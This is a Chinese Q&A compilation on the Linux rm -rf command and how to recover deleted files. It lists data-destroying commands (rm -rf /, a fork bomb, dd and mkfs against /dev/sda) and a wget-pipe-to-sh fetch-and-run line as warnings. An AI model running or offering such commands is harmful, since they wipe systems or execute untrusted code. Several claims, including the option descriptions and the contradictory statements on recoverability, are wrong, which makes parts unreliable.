linuxrmrf恢復
❶ linux裡面rm -r和rm -rf區別是什麼
「rm」命令用來刪除不需要的文件。該命令的功能為刪除一個目錄中的一個或多個文件或目錄,它也可以將某個目錄及其下的所有文件及子目錄均刪除。對於鏈接文件,只是斷開了鏈接,原文件保持不變。
rm -rf * 表示刪除當前目錄下的所有文件。
「rm」命令的一般形式為:
如果沒有使用「- r」選項,則rm不會刪除目錄。
該命令的各選項含義如下:
「- f 」忽略不存在的文件,強制刪除,不給出提示。
「- r」 指示rm將參數中列出的全部目錄和子目錄均遞歸地刪除。
「- i 」進行互動式刪除。
使用rm命令要小心。因為一旦文件被刪除,它是不能被恢復的。為了防止這種情況的發生,可以使用「i」選項來逐個確認要刪除的文件。如果用戶輸入「y」,文件將被刪除。
❷ linux系統rm -rf/*怎麼恢復可以重做系統么
1、執行刪除命令前,系統運行良好,且操作正常,如下圖所示:
4、強制關機後,重新啟動系統,如下圖所示已經報異常了,無法正常進入系統,此時只有進行重裝系統了。
總結:
1.有點遺憾刪除結束後沒法再使用df、ls這些命令,所以沒辦法看出還剩哪些文件。不過從上面的結果來看,連基礎命令都執行不了,所以用戶數據(如安裝的軟體、部署的網站、資料庫等)肯定也都全刪沒了。
2.因此平時操作的過程中要養成良好的習慣,盡量不要用rm命令,可以用mv命令來代替。比如要刪掉a.txt,可以執行mv a.txt /mytemp ,然後再寫個腳本定時清除/mytemp目錄下的文件,這樣會安全很多。
❸ linux執行了rm -rf還能恢復嗎
不要做讀寫操作肯定是可以的.但網上說的那些方法末必可行.如果確定數據非常非常重要,可以送數據恢復的地方.需要硬體設備和軟體來恢復.不要
❹ linux redhat執行了rm -rf /*如何恢復數據
國外著名linx管理員守則中有這么一條:「慎用rm -rf命令,除非你知道此命令將帶來什麼後果。」 可見這個命令的重要性啊,書中看到的這句話,確實很對。
說了這么多,教教大家執行了rm命令後 該這么辦吧,是有辦法回復的,我剛經過試驗證實了,google有一個開源的包 叫ext3grep工具他可以回復刪除的文件,甚至是drop database xcy; 對,就是誤刪除的資料庫都可以回復。
先說一下他的工作原理吧,然後我在把試驗分享給大家, 工作原理其實也不難,這個工具需要在ext3或者ext4 的文件系統上才可以實現,因為ext3文件系統是日誌型文件系統,ext3文件系統儲存信息的時候是由inode號和block塊存儲的。
神馬? 不知道什麼是inode號?和block塊? 好吧,在說明白點,比如:一個分區比如一本書,那麼block塊就是書每頁的內容,而inode號 就是書的目錄,系統找文件的時候先找inode號 然後根據inode號去找硬碟上的block快信息,明白了吧!
在說一下刪除的原理吧。 當硬碟上的一個文件刪除,其實沒有真正想像中的那樣在硬碟上清除掉的,他是把inode號和block塊的那個鏈子 斷開,但是真正的數據還是在硬碟上的,有沒有感覺在windos上刪除是那麼快,沒考慮到這吧,當你在刪除文件的地方重新復制了新文件,那時候才會把之前的文件覆蓋掉,也就是說刪除了沒有關系,千萬不要往那個位置放文件了。
❺ linux 系統下面,rm -rf 刪除的文件能找回來嗎
使用rm -rf刪除的文件不能找回的;
對rm命令的理解:
1.rm命令可以刪除一個目錄中的一個或多個文件或目錄,也可以將某個目錄及其下屬的所有文件及其子目錄均刪除掉。對於鏈接文件,只是刪除整個鏈接文件,而原有文件保持不變。
2.使用rm命令刪除了一個文件,就無法再恢復它。所以,在刪除文件之前,最好再看一下文件的內容,確定是否真要刪除。
3.rm命令可以用-i選項,這個選項在使用文件擴展名字元刪除多個文件時特別有用。使用這個選項,系統會要求你逐一確定是否要刪除。
(5)linuxrmrf恢復擴展閱讀:
rm命令參數如下
1.-d:直接把欲刪除的目錄的硬連接數據刪除成0,刪除該目錄;
2.-f:強制刪除文件或目錄;
3.-i:刪除已有文件或目錄之前先詢問用戶;
4.-r或-R:遞歸處理,將指定目錄下的所有文件與子目錄一並處理;
5.-v:顯示指令的詳細執行過程。
❻ 在linux 根目錄rm * -rf以後怎麼辦
首先,這是一個非常危險的操作,執行後Linux基本報廢。如下圖所示,把rm命令都刪除了。我是在虛擬機中做的實驗,真實機一定不要執行此操作。
其次,在根目錄執行rm * -rf的命令對Linux系統來說是毀滅性的。如果日常工作中,刪除了某個文件,可以通過下面的方法找回。以下方法不適用你問題中的情況。只是做為擴展。
1. lsof
文件剛剛被刪除,想要恢復,先嘗試lsof.
#lsof |grep data.file1
# cp /proc/xxx/xxx/xx /dir/data.file1
2.
如果lsof不能看到文件,那麼就需要使用恢復軟體進行恢復。
要做的第一件事是立刻卸載被誤刪除文件所在的分區,或者重新以只讀方式掛載此分區。
umount /dev/part 或 mount -o remount,ro /dev/part
刪除一個文件,就是將文件inode(inode 是操作系統尋找文件的目錄,起到索引作用)
節點中的扇區指針清除,同時,釋放這些數據對應的數據塊,
而真實的文件還存留在磁碟分區中。但是這些被刪除的文件不一定會一直存留在磁碟中,當這些
釋放的數據塊被操作系統重新分配時,這些被刪除的數據就會被覆蓋。因此要立刻卸載分區。
3. ext3grep
該工具只能用於ext3文件系統,操作步驟不詳細介紹.
1> unmount /dev/part
2> ext3grep /dev/part --ls --inode 2 ##列出可恢復文件信息
3>ext3grep /dev/part --restore-inode N
4>恢復到 RESTORED_FILES/
更多命令查看 ext3grep --help
4. extundelete
該工具可以恢復ext3,ext4. http://extundelete.sourceforge.net/
1>fuser -k /dev/part && unmunt /dev/part
2>extundelete --inode 2 /dev/part
3>extundelete --restore-inode 13 /dev/part
4>恢復到 RECOVERD_FILES/
5.note
1> 對於空文件,不會進行恢復
2> 可以恢復mysql表, 由於myisam是單獨3個文件,恢復出來就能使用。
3> 建議innodb,設置innodb_file_per_table 為 ON,這樣也就能恢復單表數據。
4> 從上面可以看出,恢復工具這能恢復分區,所以,建議為應用軟體單獨劃區進行安裝,
存放數據。
❼ 在linux系統下用rm命令誤刪了一個文件,怎樣才能恢復這個文件
1、先要進行重啟ubuntu,隨即長按shirft進入grub菜單,這時候注意的是再進行選擇recovery mode,按"e"鍵進入編輯頁面,如下圖所示。
❽ Linux中的rm命令
rm命令:
1、可以刪除一個目錄中的一個或多個文件或目錄。
2、可以將某個目錄及其下屬的所有文件及其子目錄均刪除掉。
3、對於鏈接文件,只是刪除整個鏈接文件,而原有文件保持不變。
語法選項:
-d:直接把欲刪除的目錄的硬連接數據刪除成0,刪除該目錄;
-f:強制刪除文件或目錄;
-i:刪除已有文件或目錄之前先詢問用戶;
-r或-R:遞歸處理,將指定目錄下的所有文件與子目錄一並處理;
-preserve-root:不對根目錄進行遞歸操作;
-v:顯示指令的詳細執行過程。
(8)linuxrmrf恢復擴展閱讀:
rm同時刪除多個文件命令:rm <filename1> <filename2>
要刪除第一個字元為『-』的文件 (例如『-foo』),請使用以下其中一種方法:
rm-- -foo
rm./-foo
請注意,如果使用 rm 來刪除文件,通常仍可以將該文件恢復原狀。如果想保證
該文件的內容無法還原,請考慮使用 shred。
刪除所有rb語言程序檔;刪除前逐一詢問確認 :
rm-i *.rb
將 Finished 子目錄及子目錄中所有檔案刪除 :
rm -r Finished
將 Finished 子目錄及子目錄中所有檔案刪除,並且不用--確認 :
rm -rf Finished
❾ LINUX系統有哪些危險命令
這9個「非常危險」的Linux命令一定要記住!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內容最快的一種方式,僅僅一丁點的敲錯或者無知都可能導致不可恢復的系統崩壞。
rm命令在Linux下通常用來刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經過詢問直接刪除只讀文件
rm-rf/:強制刪除根目錄下所有東西
rm-rf/*:強制刪除當前目錄的所有文件
rm-rf.:強制刪除當前文件夾及其子文件
溫馨提示:當你要執行rm -rf命令時,一定要留心,可以在「.bashrc」文件對「rm」命令創建rm
-i的別名,來預防用『rm』命令刪除文件時的事故。
2、:(){:|:&};:命令
這就是一個fork炸彈的實例。具體操作是通過定義一個名為':'的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
3、命令 >/dev/sda
上列命令會將某個'命令'的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4、mv文件夾/dev/null
這個命令會移動某個'文件夾'到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。
5、wget http://malicious_source -O- | sh
上面這個命令會從一個惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會執行下載下來的腳本。
溫馨提示:你應該時刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會格式化設備'sda',你無疑知道在執行上列命令後你的塊設備會被格式化,嶄新的。沒有任何數據,直接讓你的系統達到不可恢復的階段。
7、> file
上面命令常用來清空文件內容,如果用上列執行時輸入錯誤或無知的輸入類似「> xt.conf」的命令會覆蓋配置文件或其他任何的系統配置文件。
8、^foo^bar
這個命令用來編輯先前運行的命令而無需要打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然,你的系統可能陷入混亂和不可恢復的狀態。
❿ linux中使用rm -rf 命令能不能恢復,以及恢復方法。
不要做讀寫操作肯定是可以的。但網上說的那些方法末必可行。如果確定數據非常非常重要,可以送數據恢復的地方。需要硬體設備和軟體來恢復。不要相信網上的很多東西,對於一般的刪除有一定機率可以恢復,但有相當可能恢復出來的東西會損壞。要是都可以,那這么多數據恢復中心早就關門了。